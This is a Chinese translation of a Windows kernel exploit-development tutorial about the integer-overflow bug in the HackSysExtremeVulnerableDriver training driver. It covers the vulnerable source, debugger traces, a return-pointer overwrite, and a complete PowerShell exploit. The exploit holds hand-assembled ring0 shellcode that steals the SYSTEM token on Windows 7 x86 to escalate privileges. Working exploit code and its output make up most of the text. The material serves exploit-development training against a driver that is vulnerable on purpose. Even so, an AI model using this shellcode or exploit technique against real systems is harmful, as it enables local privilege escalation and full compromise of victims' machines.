windows内核exploit训练项目HackSysExtremeVulnerableDriver(HEVD)-整数溢出

来源:互联网 发布:mysql怎么卸载干净 编辑:程序博客网 时间:2024/06/05 01:17

Hola,欢迎回到Windows exploit开发系列教程的第14部分。今天我们还有一篇pwn@HackSysTeam的有漏洞的驱动程序的文章。这一次我们来看看整数溢出,除了绕过GS的栈溢出(我们稍后会介绍)和类型混淆(利用起来太简单就不讲了但是你可以在GitHub上找到exploit),这将是最后一个比较容易利用的漏洞了!有关设置调试环境的更多详细信息,请参阅第10部分。
资源
+ HackSysExtremeVulnerableDriver(hacksysteam) - 这里

应对挑战

我们来看看有关存在漏洞的函数的一部分(这里)。

NTSTATUS TriggerIntegerOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {    ULONG Count = 0;    NTSTATUS Status = STATUS_SUCCESS;    ULONG BufferTerminator = 0xBAD0B0B0;    ULONG KernelBuffer[BUFFER_SIZE] = {0};    SIZE_T TerminatorSize = sizeof(BufferTerminator);    PAGED_CODE();    __try {        // Verify if the buffer resides in user mode        ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);        DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);        DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);        DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));#ifdef SECURE        // Secure Note: This is secure because the developer is not doing any arithmetic        // on the user supplied value. Instead, the developer is subtracting the size of        // ULONG i.e. 4 on x86 from the size of KernelBuffer. Hence, integer overflow will        // not occur and this check will not fail        if (Size > (sizeof(KernelBuffer) - TerminatorSize)) {            DbgPrint("[-] Invalid UserBuffer Size: 0x%X\n", Size);            Status = STATUS_INVALID_BUFFER_SIZE;            return Status;        }#else        DbgPrint("[+] Triggering Integer Overflow\n");        // Vulnerability Note: This is a vanilla Integer Overflow vulnerability because if        // 'Size' is 0xFFFFFFFF and we do an addition with size of ULONG i.e. 4 on x86, the        // integer will wrap down and will finally cause this check to fail        if ((Size + TerminatorSize) > sizeof(KernelBuffer)) {            DbgPrint("[-] Invalid UserBuffer Size: 0x%X\n", Size);            Status = STATUS_INVALID_BUFFER_SIZE;            return Status;        }#endif        // Perform the copy operation        while (Count < (Size / sizeof(ULONG))) {            if (*(PULONG)UserBuffer != BufferTerminator) {                KernelBuffer[Count] = *(PULONG)UserBuffer;                UserBuffer = (PULONG)UserBuffer + 1;                Count++;            }            else {                break;            }        }    }    __except (EXCEPTION_EXECUTE_HANDLER) {        Status = GetExceptionCode();        DbgPrint("[-] Exception Code: 0x%X\n", Status);    }    return Status;}

函数将用户提供的缓冲区的长度与驱动程序分配的缓冲区的长度进行比较。但是在有漏洞的版本中,检查是这么做的。

BufferTerminator = 0xBAD0B0B0InputBuffer.Size + BufferTerminator.Size> KernelAllocatedBuffer.Size

错误很明显,结束符的大小是4个字节,所以如果我们提供的DeviceIoControl缓冲区大小在0xfffffffc和0xffffffff之间,加上4之后的值完成了循环会通过检查!我们可以在PowerShell终端中做类似的操作来说明问题。

PS C:\ Users \ b33f> 0xfffffffc + 40PS C:\ Users \ b33f> 0xffffffff + 43

该功能的IOCTL为0x222027。要查看IOCTL如何识别,请查看本系列的第10部分和第11部分。让我们快速打开IDA,看看这个函数。在下面的图片中,我们可以看到包括错误长度检查在内的函数开头部分。
这里写图片描述
在我们通过这部分之后,程序以一个把用户缓冲区的字节复制到内核缓冲区的循环结束。注意下面的橙色块,复制操作持续下去,直到遇到DWORD类型的缓冲区结束符。
这里写图片描述
让我们简单地传递给驱动程序的一些预期值,以便我们确认我们能够调用相关的函数。

Add-Type -TypeDefinition @"using System;using System.Diagnostics;using System.Runtime.InteropServices;using System.Security.Principal;public static class EVD{    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]    public static extern IntPtr CreateFile(        String lpFileName,        UInt32 dwDesiredAccess,        UInt32 dwShareMode,        IntPtr lpSecurityAttributes,        UInt32 dwCreationDisposition,        UInt32 dwFlagsAndAttributes,        IntPtr hTemplateFile);    [DllImport("Kernel32.dll", SetLastError = true)]    public static extern bool DeviceIoControl(        IntPtr hDevice,        int IoControlCode,        byte[] InBuffer,        int nInBufferSize,        byte[] OutBuffer,        int nOutBufferSize,        ref int pBytesReturned,        IntPtr Overlapped);}"@$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)if ($hDevice -eq -1) {    echo "`n[!] Unable to get driver handle..`n"    Return} else {    echo "`n[>] Driver information.."    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"    echo "[+] Handle: $hDevice"}$Buffer = [Byte[]](0x41)*0x100 + [System.BitConverter]::GetBytes(0xbad0b0b0)echo "`n[>] Sending buffer.."echo "[+] Buffer length: $($Buffer.Length)"echo "[+] IOCTL: 0x222027`n"[EVD]::DeviceIoControl($hDevice, 0x222027, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

完美,和预期一样。现在,让我们尝试通过给DeviceIoControl传递值为0xffffffff的size并发送一个比驱动程序分配的缓冲区大的缓冲区(例如:0x900)来触发BSOD。

Add-Type -TypeDefinition @"using System;using System.Diagnostics;using System.Runtime.InteropServices;using System.Security.Principal;public static class EVD{    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]    public static extern IntPtr CreateFile(        String lpFileName,        UInt32 dwDesiredAccess,        UInt32 dwShareMode,        IntPtr lpSecurityAttributes,        UInt32 dwCreationDisposition,        UInt32 dwFlagsAndAttributes,        IntPtr hTemplateFile);    [DllImport("Kernel32.dll", SetLastError = true)]    public static extern bool DeviceIoControl(        IntPtr hDevice,        int IoControlCode,        byte[] InBuffer,        int nInBufferSize,        byte[] OutBuffer,        int nOutBufferSize,        ref int pBytesReturned,        IntPtr Overlapped);}"@$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)if ($hDevice -eq -1) {    echo "`n[!] Unable to get driver handle..`n"    Return} else {    echo "`n[>] Driver information.."    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"    echo "[+] Handle: $hDevice"}$Buffer = [Byte[]](0x41)*0x900 + [System.BitConverter]::GetBytes(0xbad0b0b0)$Size = 0xffffffffecho "`n[>] Sending buffer.."echo "[+] Buffer length: $($Buffer.Length)"echo "[+] IOCTL: 0x222027`n"[EVD]::DeviceIoControl($hDevice, 0x222027, $Buffer, $Size, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

这里写图片描述

Pwn!

覆盖返回指针

从上面我们可以看到,我们破坏了异常处理程序。这不是我们想要的,我们真正想要做的是进行精确覆盖,以便在TriggerIntegerOverflow函数退出时获得对执行流的控制。这是我留给勤奋的读者的任务。对于后来者,正如我在PowerShell中发明原语开发exploit一样,可以使用以下命令创建一个模式缓冲区。

$Pattern_Create = ([system.Text.Encoding]::ASCII).GetBytes("Aa0Aa1Aa2Aa3Aa........")

要用0x42424242覆盖函数返回值,我们可以使用以下结构的缓冲区。

$Buffer = [Byte[]](0x41)*0x828 + [Byte[]](0x42)*0x4 + [System.BitConverter]::GetBytes(0xbad0b0b0)$Size = 0xffffffff

shellcode

类似于内核栈溢出,我们必须看看我们应该如何修复shellcode结尾来防止BSOD!首先让我们看一下当我们提供给驱动程序函数预期值时正常的工作流程。在TriggerIntegerOverflow的返回指令上放置一个断点。
这里写图片描述

kd> bp 9528c9b4kd> g****** HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW ******[+] UserBuffer: 0x023CAAEC[+] UserBuffer Size: 0x108[+] KernelBuffer: 0xA46B72AC[+] KernelBuffer Size: 0x800[+] Triggering Integer OverflowBreakpoint 0 hitHackSysExtremeVulnerableDriver+0x49b4:9528c9b4 c20800     ret     8     <-------[Stack]  a46b7ad4 9528c9da HackSysExtremeVulnerableDriver+0x49da                                                   a46b7ad8 023cabf0                                                    a46b7adc 00000108                                                    a46b7ae0 a46b7afc                                                    a46b7ae4 9528d0e6 HackSysExtremeVulnerableDriver+0x50e6HackSysExtremeVulnerableDriver+0x49da:9528c9da 5d         pop     ebp   <-------[Stack]  a46b7ae0 a46b7afc                                                    a46b7ae4 9528d0e6 HackSysExtremeVulnerableDriver+0x50e6                                                   a46b7ae8 85edde80HackSysExtremeVulnerableDriver+0x49db:9528c9db c20800     ret     8     <-------[Stack]  a46b7ae4 9528d0e6 HackSysExtremeVulnerableDriver+0x50e6                                                   a46b7ae8 85edde80                                                    a46b7aec 85eddef0                                                    a46b7af0 85396620 

看起来与我们在第10部分中的栈溢出几乎相同。我们在触发整数溢出时查看栈。

****** HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW ******[+] UserBuffer: 0x0234FAA4[+] UserBuffer Size: 0xFFFFFFFF[+] KernelBuffer: 0x96F4F2AC[+] KernelBuffer Size: 0x800[+] Triggering Integer OverflowBreakpoint 0 hitHackSysExtremeVulnerableDriver+0x49b4:9528c9b4 c20800     ret     8     <-------[Stack]  96f4fad4 42424242                                                    96f4fad8 023502d0                                                    96f4fadc ffffffff                                                    96f4fae0 96f4fafc                                                    96f4fae4 9528d0e6 HackSysExtremeVulnerableDriver+0x50e6

我们可以通过以下方式修改shellcode结尾来恢复缺少的指令。

$Shellcode = [Byte[]] @(    #---[Setup]    0x60,                               # pushad    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]    0x8B, 0x40, 0x50,                   # mov eax, [eax + EPROCESS_OFFSET]    0x89, 0xC1,                         # mov ecx, eax (Current _EPROCESS structure)    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]    #---[Copy System PID token]    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |    0x75, 0xED,                         # jnz                           ->|    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx    #---[Recover]    0x61,                               # popad    0x31, 0xC0,                         # NTSTATUS -> STATUS_SUCCESS :p    0x5D,                               # pop ebp    0xC2, 0x08, 0x00                    # ret 8)

游戏结束

这下应该成功了,请参阅下面的完整的exploit以获取更多信息。

Add-Type -TypeDefinition @"using System;using System.Diagnostics;using System.Runtime.InteropServices;using System.Security.Principal;public static class EVD{    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]    public static extern IntPtr CreateFile(        String lpFileName,        UInt32 dwDesiredAccess,        UInt32 dwShareMode,        IntPtr lpSecurityAttributes,        UInt32 dwCreationDisposition,        UInt32 dwFlagsAndAttributes,        IntPtr hTemplateFile);      [DllImport("Kernel32.dll", SetLastError = true)]    public static extern bool DeviceIoControl(        IntPtr hDevice,        int IoControlCode,        byte[] InBuffer,        int nInBufferSize,        byte[] OutBuffer,        int nOutBufferSize,        ref int pBytesReturned,        IntPtr Overlapped);    [DllImport("kernel32.dll", SetLastError = true)]    public static extern IntPtr VirtualAlloc(        IntPtr lpAddress,        uint dwSize,        UInt32 flAllocationType,        UInt32 flProtect);}"@# Compiled with Keystone-Engine# Hardcoded offsets for Win7 x86 SP1$Shellcode = [Byte[]] @(    #---[Setup]    0x60,                               # pushad    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]    0x8B, 0x40, 0x50,                   # mov eax, [eax + EPROCESS_OFFSET]    0x89, 0xC1,                         # mov ecx, eax (Current _EPROCESS structure)    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]    #---[Copy System PID token]    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |    0x75, 0xED,                         # jnz                           ->|    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx    #---[Recover]    0x61,                               # popad    0x31, 0xC0,                         # NTSTATUS -> STATUS_SUCCESS :p    0x5D,                               # pop ebp    0xC2, 0x08, 0x00                    # ret 8)# Write shellcode to memoryecho "`n[>] Allocating ring0 payload.."[IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length)$EIP = [System.BitConverter]::GetBytes($Pointer.ToInt32())echo "[+] Payload size: $($Shellcode.Length)"echo "[+] Payload address: $("{0:X8}" -f $Pointer.ToInt32())"$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)if ($hDevice -eq -1) {    echo "`n[!] Unable to get driver handle..`n"    Return} else {    echo "`n[>] Driver information.."    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"    echo "[+] Handle: $hDevice"}$Buffer = [Byte[]](0x41)*0x828 + $EIP + [System.BitConverter]::GetBytes(0xbad0b0b0)$Size = 0xffffffffecho "`n[>] Sending buffer.."echo "[+] Buffer size: $($Buffer.Length)"echo "[+] Fake buffer size: $("{0:X}" -f $Size)"echo "[+] IOCTL: 0x222027`n"[EVD]::DeviceIoControl($hDevice, 0x222027, $Buffer, $Size, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

这里写图片描述
原文地址:http://www.fuzzysecurity.com/tutorials/expDev/18.html

原创粉丝点击